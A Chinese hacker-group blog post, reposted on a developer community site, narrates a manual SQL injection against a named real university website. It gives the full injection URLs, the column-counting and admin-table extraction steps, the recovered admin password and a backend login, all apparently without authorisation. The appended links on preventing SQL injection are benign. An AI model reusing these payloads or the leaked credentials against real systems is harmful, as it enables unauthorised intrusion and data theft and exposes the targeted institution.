记一次曲折的jsp手工半盲注入

本文涉及的产品
云数据库 RDS MySQL Serverless,0.5-2RCU 50GB
简介:

作者:YoCo Smart
来自:习科信息技术 黑客作战营
::{ Silic Group Hacker Army }::
site:http://blackbap.org
前些日子(似乎很久很久以前),小X在群里发了一个太平洋汽车网站的注入,jsp的,安敏似乎问过她似乎也问过我,还有谁的,longlong ago了,记不清了,只记得当时安敏似乎对jsp注入很惊奇,或者说。。。总之印象很深。在补充书的最后素材时,终于功夫不负有心人,找到了jsp绝好的实例,这里放出来分享下。网上jsp注入的实例似乎并不多,能拿来练的似乎就没有。这里放一个,供大家研究和学习。
jsp的注入没什么特殊,注入并不取决于脚本,而是取决于数据库的类型。例如这个jsp网站就用的MySql数据库,说实话,如果他用Oracle呵呵我还真拿不下来。
好了,回到正文。
我找到的第一个注入点在这里:
http://cie.zjgsu.edu.cn/cie/web/newDetail.do?newsid=599
加了引号后出错,加+and+1=1提示
 

javax.servlet.ServletException: org.apache.jasper.JasperException: javax.servlet.ServletException: java.sql.SQLException: 第 1 行: 'and1' 附近有语法错误。


and和1连一起了。那么把+换成/**/再来。这次返回的是正常页面了,呵呵,真是乐死我了,居然用MySql数据库。继续1=2访问回显错误500页面。好了,宣布开始猜字段显示位。我order by了半天,他一直一个提示:
http://cie.zjgsu.edu.cn/cie/web/newDetail.do?newsid=599/**/and/**/1=1/**/union/**/select/**/*/**/order/**/by/**/0
ORDER BY 子句中的位置号 0 超过了选择列表中项数目。
http://cie.zjgsu.edu.cn/cie/web/newDetail.do?newsid=599/**/and/**/1=1/**/union/**/select/**/*/**/order/**/by/**/10000000
ORDER BY 子句中的位置号 10000000 超过了选择列表中项数目。
难道是我的用法不对?好吧,我承认学艺不精,你狠,没关系,我比你还狠,来,咱们union select一个一个来,复制“,1”重复粘帖回车粘帖回车。。。。
http://cie.zjgsu.edu.cn/cie/web/newDetail.do?newsid=599/**/and/**/1=1/**/union/**/select/**/1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
我晕,都这么长了,还是提示:
 

包含 UNION 运算符的 SQL 语句中的所有查询都必须在目标列表中具有相同数目的表达式。


这接晕死。。。这么狠,看来这个注入点不能用啊。
1.png


没辙,谷歌一下,看看人品怎样。搜索:
site:cie.zjgsu.edu.cn inurl:.jsp?
2.png


还不少呢。选来选去,最后选了这个地方:
http://cie.zjgsu.edu.cn/cie/web/teacher_detail.jsp?id=130
加引号回车访问,无错误回显,但是页面到中间就断了。
3.png


本以为是网速不行,中间丢包了。但是网速很快,刷新连眨眼都不用就显示完页面内容了,刷新了好几次一直都这样断。重新找了几个页面变量后面加引号竟然都这样。而且是一个地方段掉的
变量后面加/**/and/**/1=1就又返回正常,但是如果/**/and/**/1=2就又断了。第一次见到这么诡异的注入点。要么就是有错误回显,要么就没有,空白,哪还有html标签传到一半的一半“<”就断了的?
如果这是注入点,那么成功率可能不高,要么跟上一个一样,出不来字段数,要么这就不是一个注入点。
不管那么多,死马当活马医先。
union select继续猜字段数,order by不能用,加一个回车加一个回车,重复到27个,嘿,居然显示正常页面了,内牛满面啊。。。
http://cie.zjgsu.edu.cn/cie/web/teacher_detail.jsp?id=130/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
4.png


这不,显示位就出来了?随手+随习惯,来了个/**/from/**/admin,呵,居然又是正常页面,传说中的人品爆发降临在我身上了?那么from /**/MySql.user呢。。晕,又是截断了的页面。看来注入点可用,admin字段存在,MySql数据库无权。
字段名还懒得猜,随手想先看看数据库名,这一看不要紧,差点没雷死我。
随便找个显示位,方上database()居然又出现错误截断。。。哇靠!那么hex(database())呢。。。还是错误。郁闷。
既然database函数不能用,老老实实猜吧。
进入管理入口,看源代码
 

  1. <td align="center" valign="bottom">
     
  2. 用户名:<input type="text" class="log_input" name="aname" /> 
     
  3. 密码: <input type="password" class="log_input" name="apsw" /> 
     
  4. <input type="submit" name="submit" value="登陆" class="log_button" /> 
     
  5. </td>
复制代码


我猜管理员的字段名可能是aname和apsw
5.png


不过最后证明,我的猜测是错的。这个一会儿说。先说一段小插曲。
猜字段名的时候,发现字段中所有的函数都不能用。
load_file、concat、database()、user()、。。。。。任何一个都是错误的,哪怕我来了一个hex(id)都显示错误。。我直接无语掉
正当我“自暴自弃”的时候,突然发现灵感一现char(33)填入某字段,页面显示出了不起眼的"!",我晕。。。那么hex(5f)。。哦,居然显示出来了。
看来字段被限制了执行XX,管理员的杰作。
既然char(33)能显示,那么如果字段名正确估计也能显示,填入字段名为id,居然显示出来字段数为5。
那么继续,猜几个常用的字段名,管理员字段数居然出来了。管理员字段没我想的那么复杂,user和pass而已
4号位置填user,14号位置填上pass回车访问
http://cie.zjgsu.edu.cn/cie/web/teacher_detail.jsp?id=130/**/and/**/1=2/**/union/**/select/**/1,2,3,user,5,6,7,8,9,10,11,12,13,pass,15,16,17,18,19,20,21,22,23,24,25,26,27/**/from/**/admin
就出来答案了
6.png


dbo和83088309明文啊。可是去后台登陆,这个却显示错误。我大概猜到是什么原因了,估计是序号的问题。
原来的注入语句后面加个where条件句/**/where/**/id=5并且把原来语句中的user换回数字,访问
http://cie.zjgsu.edu.cn/cie/web/teacher_detail.jsp?id=130/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,pass,15,16,17,18,19,20,21,22,23,24,25,26,27/**/from/**/admin/**/where/**/id=5
好了,这次密码出来了:adminxxlab
7.png


密码出来了,用户名照样搬就可以了,把pass换成user访问。
一开始我想当然的认为user字段就是管理员的名称字段,但是根据5楼所说,这个确实不是登录名字段,登录名称字段另有其他。╮(╯_╰)╭无语了。以为是另成,当时并没深究下去,刚刚来看了5楼说的,当时确实是自己想当然的犯了迷糊,这里特此更正下。
不过看这个密码不用注都能猜到,用户名就是admin
后台登陆,瀑布汗,居然清一色的eweb。看源代码,应该是有人更早就进来过了,把上传组件部分注释掉了
8.png


本文转sinojelly51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/340250 ,如需转载请自行联系原作者
相关实践学习
基于CentOS快速搭建LAMP环境
本教程介绍如何搭建LAMP环境,其中LAMP分别代表Linux、Apache、MySQL和PHP。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
SQL Java
JSP网页防止sql注入攻击
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。 prepareStatement方法是防止sql注入的简单有效手段  preparedStatement和statement的区别 1、preparedStateme
1438 0
|
SQL Java 应用服务中间件
超强JSP防SQL注入攻击
第一种采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setString方法传值即可: String sql= "select * from users where usern...
1181 0
|
Java
灵巧的jsp注入
http://bbs.syue.com/thread-30760-1-1.html
651 0
|
23天前
|
Java
学校教师管理系统【JSP+Servlet+JavaBean】(Java课设)
学校教师管理系统【JSP+Servlet+JavaBean】(Java课设)
19 1
|
23天前
|
Java
人事管理系统【JSP+Servlet+JavaBean】(Java课设)
人事管理系统【JSP+Servlet+JavaBean】(Java课设)
18 0
|
23天前
|
Java
排课系统【JSP+Servlet+JavaBean】(Java课设)
排课系统【JSP+Servlet+JavaBean】(Java课设)
7 0
|
23天前
|
Java
仓库管理系统【JSP+Servlet+JavaBean】(Java课设)
仓库管理系统【JSP+Servlet+JavaBean】(Java课设)
13 0
|
23天前
|
Java
学校人员管理系统【JSP+Servlet+JavaBean】(Java课设)
学校人员管理系统【JSP+Servlet+JavaBean】(Java课设)
16 0
|
2月前
|
Java
jsp页面中使用jstl标签报错:javax.servlet.jsp.JspTagException
jsp页面中使用jstl标签报错:javax.servlet.jsp.JspTagException
13 0
|
3月前
|
存储 前端开发 Java
JavaWeb:servlet+jsp+mybatis商品管理增删改查
商品管理通常包括增加(添加)、删除、修改和查询商品信息
51 1
JavaWeb:servlet+jsp+mybatis商品管理增删改查